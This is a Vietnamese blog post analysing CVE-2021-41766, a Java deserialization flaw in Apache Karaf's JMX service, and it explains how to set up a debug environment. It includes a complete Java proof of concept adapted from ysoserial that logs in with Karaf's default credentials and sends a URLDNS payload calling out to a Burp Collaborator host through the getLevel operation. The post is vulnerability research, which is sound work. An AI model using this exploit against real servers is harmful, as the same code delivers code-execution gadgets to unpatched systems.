Phân tích CVE-2021-41766: Lỗ hổng java deserialization trên Apache Karaf

Xét ở góc độ cách khai thác của CVE này thì đây không phải là một CVE thú vị và đáng được lưu tâm. Tuy nhiên, trong quá trình nghiên cứu CVE này, mình gặp khá nhiều khó khăn để tái hiện và phân tích lỗi này. Tính tới thời điểm viết bài thì chưa

Xét ở góc độ cách khai thác của CVE này thì đây không phải là một CVE thú vị và đáng được lưu tâm. Tuy nhiên, trong quá trình nghiên cứu CVE này, mình gặp khá nhiều khó khăn để tái hiện và phân tích lỗi này. Tính tới thời điểm viết bài thì chưa có PoC cho CVE-2021-41766, cũng như bài phân tích về CVE này, nên có thể coi đây là bài phân tích 1-day (đầu tiên) của mình 😄

0x01 Tổng quan về CVE-2021-41766

Theo như mô tả trên cơ sở dữ liệu của NIST về CVE-2021-41766, CVE này liên quan tới Java Management Extension (JMX). Vì vậy, trước khi đi sâu hơn vào CVE này, các bạn nên tìm hiểu thêm về JMX và MBean service nữa nhé. Mình sẽ để các link mình đã dùng để tìm hiểu ở cuối bài.

Thông tin mấu chốt giúp mình tái tạo PoC cho CVE này là

Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.

Như vậy, mình có thể rút ra mấy ý như sau:

  • Trước đó, có triển khai JMX mặc định (default JMX implementation) từng bị tấn công bởi một kỹ thuật X, dẫn tới bị khai thác lỗ hổng unauthenticated deserialization. Default JMX implementation đã vá lỗi này.
  • Tuy nhiên, khi Apache Karaf triển khai JMX, Apache Karaf không áp dụng các cơ chế để vá lỗi trên, dẫn tới phần triển khai JMX của Apache Karaf có thể bị tấn công bởi kỹ thuật X. Điều đó nghĩa là, nếu mình tìm được kỹ thuật X đã từng dùng để khai thác cơ chế triển khai JMX mặc định, thì mình cũng có thể khai thác triển khai JMX của Apache Karaf với cơ chế tương tự!

(Và bằng một phép màu nào đó mình mất gần 1 tuần mới để ý đến đoạn này 😭)

0x02 Dựng môi trường debug cho Apache Karaf

Thực sự đến giờ mình vẫn chưa hiểu rõ Apache Karaf là gì, nên mình sẽ chỉ viết lại quá trình dựng môi trường debug như nào thôi đã vậy.

Theo như Apache Karaf Advisory cho CVE-2021-41766, các phiên bản trước 4.3.6 sẽ bị ảnh hưởng bởi lỗi này. Vì vậy, mình tải Apache Karaf phiên bản 4.3.5 để dựng môi trường debug. Source code của Apache Karaf mình download trên github https://github.com/apache/karaf/releases/tag/karaf-4.3.5

Làm theo hướng dẫn của Xixia Yipintang, mình mở file binkaraf.bat lên và thêm dòng set KARAF_DEBUG=trueimage.png

Chạy file binkaraf.bat. Để ý Apache Karaf nhận kết nối cho debug từ xa thông qua cổng 5005
image.png

Để debug Apache Karaf từ xa, mình dùng Remote JVM Debug của InteliJ IDEA. Cấu hình mặc định của Remote JVM Debug (mình đặt tên là remoteDebug) đã kết nối tới cổng 5005, vì vậy mình để nguyên.
image.png

Chạy remoteDebug trong IDEA. Nếu hiện thông báo kết nối như hình dưới dây tức là đã set up debug cho Apache Karaf thành công
image.png

0x03 Phân tích lỗ hổng

Như đã phân tích ở phần 1, mình bắt đầu đi tìm hiểu các cách khai thác JMX Implementation và tìm thấy một bài khá chi tiết https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/. Các bạn có thể tự đọc mục Deserialization on the JMX/MBean level rồi tự phân tích lỗ hổng này nhé.

Có thể một ngày đẹp trời nào đó (sau khi viết xong đồ án) thì mình sẽ quay lại để bổ sung nốt phần này.

0x04 Tái hiện lỗ hổng

Cách khai thác lỗ hổng này đã được commit ở ysoserial/exploit/JMXInvokeMBean.java. Để đơn giản quá trình khai thác, mình mở nguyên ysoserial project trong IDEA, rồi sửa lại file JMXInvokeMBean.java để khai thác CVE-2021-41766.

Kết nối đến Apache Karaf server

Để sử dụng JMXInvokeMBean, mình cần 4 đối số

  • host: địa chỉ máy chủ Apache Karaf. Ở đây, mình tái hiện lỗ hổng trên localhost nên host cũng là localhost.
  • port: cổng JMX RMI service của máy chủ Apache Karaf. Cổng dịch vụ mặc định của RMI luôn là 1099
  • payload_type: tên loại ysoserial payload dùng để khai thác lỗ hổng deserialization. Trong bài này, mình sử dụng URLDNS payload
  • payload_arg: các đối số (argument) của loại ysoserial payload tương ứng. Ở đây mình lấy URL của Burp Collaborator Client.

Các thông tin về hostport sẽ được dùng để khởi tạo một JMXServiceURL. serviceUrl của Apache Karaf được cấu hình ở file etc/org.apache.karaf.management.cfg, có giá trị mặc định là service:jmx:rmi:///jndi/rmi://localhost:1099/karaf-root.

Tuy nhiên, khi mình thử connect tới Apache Karaf server thì chương trình báo lỗi về yêu cầu thêm credentials. Credentials của Apache Karaf được lưu ở file etc/users.properties, có giá trị mặc định là karaf:karaf.

Với tất cả các thông tin trên, mình có thể sửa code trong JMXInvokeMBean.java để kết nối đến JMX RMI service của Apache Karaf server. Đoạn code mình sửa các thông tin liên quan để kết nối tới Apache Karaf như sau:

args =newString[4];
args[0]="localhost";
args[1]="1099";
args[2]="URLDNS";
args[3]="http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";HashMap environment =newHashMap();String[] credentials =newString[]{"karaf","karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);JMXServiceURL url =newJMXServiceURL("service:jmx:rmi:///jndi/rmi://"+ args[0]+":"+ args[1]+"/karaf-root");JMXConnector jmxConnector =JMXConnectorFactory.connect(url, environment);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

Khai thác JMX RMI service của Apache Karaf: getLevel

Apache Karaf có 1 JMX service khá giống với getLoggingLevel của JMX service mặc định là getLevel. Mở jconsole lên vào connect vào Apache Karaf, mình có thể thấy hàm này cũng nhận argument kiểu String và cũng trả về log level.
image.png

image.png

Đến đoạn này, mình gần như là sẽ mô phỏng (nói dân dã thì gọi là bắt chước) cách khai thác getLoggingLevel của JMX mặc định. Một cách dễ dàng, mình có được các thông tin của (MBean) service này như sau:

  • (MBean) service name: org.apache.karaf:type=log,name=root
  • Operation name: getLevel

Với các thông tin trên, mình sửa nốt phần code để gửi malicious object tới Apache Karaf trong JMXInvokeMBean.java như sau:

// create the payloadObject payloadObject =Utils.makePayloadObject(args[2], args[3]);ObjectName mbeanName =newObjectName("org.apache.karaf:type=log,name=root");

mbeanServerConnection.invoke(mbeanName,"getLevel",newObject[]{payloadObject},newString[]{String.class.getCanonicalName()});

CVE-2021-41766 PoC

Sau khi sửa code như 2 phần trên, mình có được file PoC của CVE-2021-41766 như sau:

publicclassJMXInvokeMBean{publicstaticvoidmain(String[] args)throwsException{//		if ( args.length < 4 ) {//			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");//			System.exit(-1);//		}
		args =newString[4];
		args[0]="localhost";
		args[1]="1099";
		args[2]="URLDNS";
		args[3]="http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";HashMap environment =newHashMap();String[] credentials =newString[]{"karaf","karaf"};
		environment.put (JMXConnector.CREDENTIALS, credentials);JMXServiceURL url =newJMXServiceURL("service:jmx:rmi:///jndi/rmi://"+ args[0]+":"+ args[1]+"/karaf-root");JMXConnector jmxConnector =JMXConnectorFactory.connect(url, environment);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject =Utils.makePayloadObject(args[2], args[3]);ObjectName mbeanName =newObjectName("org.apache.karaf:type=log,name=root");

		mbeanServerConnection.invoke(mbeanName,"getLevel",newObject[]{payloadObject},newString[]{String.class.getCanonicalName()});//close the connection
		jmxConnector.close();}}

Sau khi chạy file PoC, Burp Collborator Client log được 1 lookup request, cho thấy lỗ hổng java deserialization đã bị khai thác thành công
image.png

0x05 Kết luận

Tuy đây là 1 CVE sử dụng cơ chế khai thác cũ nhưng để tái hiện CVE này đòi hỏi khá nhiều kiến thức mới lạ (ít nhất là đối với mình). Kể ra bài này mình cũng không phải tự viết PoC mà chỉ sửa lại mấy cái PoC cũ cho khớp nên không hẳn là 1 bài 1-day hoàn chỉnh. Mong là sáp tới mình có thể viết những bài phân tích 1-day theo đúng nghĩa của nó 😄

Nguồn tham khảo

  1. https://www.baeldung.com/java-management-extensions
  2. https://subscription.packtpub.com/book/application-development/9781783985081/1/ch01lvl1sec13/using-jmx-to-monitor-and-administer-apache-karaf
  3. https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
  4. https://www.google.com/url?q=https://blog.csdn.net/mn960mn/article/details/47810981&sa=D&source=editors&ust=1651227249040661&usg=AOvVaw3QOSNDG0bA3H79fYAmVLdq

Nguồn: viblo.asia

Bài viết liên quan

Sự Khác Nhau Giữa Domain và Hosting Là Gì?

Sự khác nhau giữa domain và hosting là gì? Bài này giải thích ngắn và dễ hiểu nh

Shared Hosting hay VPS Hosting: Lựa chọn nào dành cho bạn?

Bài viết giải thích rõ shared hosting và vps hosting là gì và hướng dẫn chọn lựa

Thay đổi Package Name của Android Studio dể dàng với plugin APR

Nếu bạn đang gặp khó khăn hoặc bế tắc trong việc thay đổi package name trong And

Lỗi không Update Meta_Value Khi thay thế hình ảnh cũ bằng hình ảnh mới trong WordPress

Mã dưới đây hoạt động tốt có 1 lỗi không update được postmeta ” meta_key=